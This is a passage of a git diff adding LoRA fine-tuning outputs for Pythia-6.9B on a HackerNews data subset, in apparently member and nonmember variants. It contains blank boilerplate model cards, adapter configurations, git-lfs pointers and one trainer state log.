diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/README.md b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_config.json b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_model.safetensors b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..35edaaaf62fd92e5cbf6f472be6c7c71e305617a --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:92883c583e6e64f125f2c3abb5379d92ff99dd2e388fb63f9dba29065fcc486c +size 67144544 diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/training_args.bin b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/README.md b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_config.json b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_model.safetensors b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..ea22c8b1f90947bbe275aeeeaa5bf3a4e12b6bf0 --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a022a85211ab86aa1c769c8b742233c97c00ec6e09d3d4a5ae185d6b36973e91 +size 67144544 diff --git a/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/training_args.bin b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/model_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..f735a608e21a762c1a4a2e3831b9428f057d6e3a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:185567d7813614d4ab6aac91c60434a175174b5b48731c4e166b350be043b071 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..a01ce48a7bf0a62037547b8af17c75747ee44e65 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:51a29fef6ebe5eca29295429f3c0f5a82aaf73e4dbe8f9629619966d0ab2bc9e +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..d0cb160fc6752dc0470bb88b1ba16dca7ed969ca --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fd418aa175a4f9508778329e5c11f54241882ad7316c344103bc3804e613599f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..c7c7ba5a5d73c30d2e2dfccf92552709b61b1a0f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d4f7e5b3f15e6248eb69742a14f905c700ecf357f80b4e2f91b8b83b2a38d15e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..7f7b32d3a45b3035a2243d5f9e073d86b85c2aa3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/trainer_state.json @@ -0,0 +1,48 @@ +{ + "best_metric": 2.5468266010284424, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10", + "epoch": 0.13333333333333333, + "eval_steps": 10, + "global_step": 10, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1638607198617600.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..5bcb48919f683037b0e978fbf5ddb657f6e58317 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dd0a3bb880f9dc67fb72aeacf2cfe8ad7c60e23b8cf19d71f6a1ae88118d9880 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..667e533d7ce9c85a224888b7ef21b711f1f7a273 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:552a6cf76e6cc7197ad3504a46dc0a8e3e08e3ac545af586bb473b00cf0b0c10 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..e6cdf36295b4d559507cf0b068680edea3de3a81 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:46513e9b1de488f3d70a4461303e6b827989f588807354e14d010b7ee4f4679f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..4f1a24bb7d4e46bd15c0b55412cc8ba9b9556c35 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cd2ccdaca083e589c09bcd97757fde390a191ed5c643ace13a70b750fd4a4e4b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/trainer_state.json 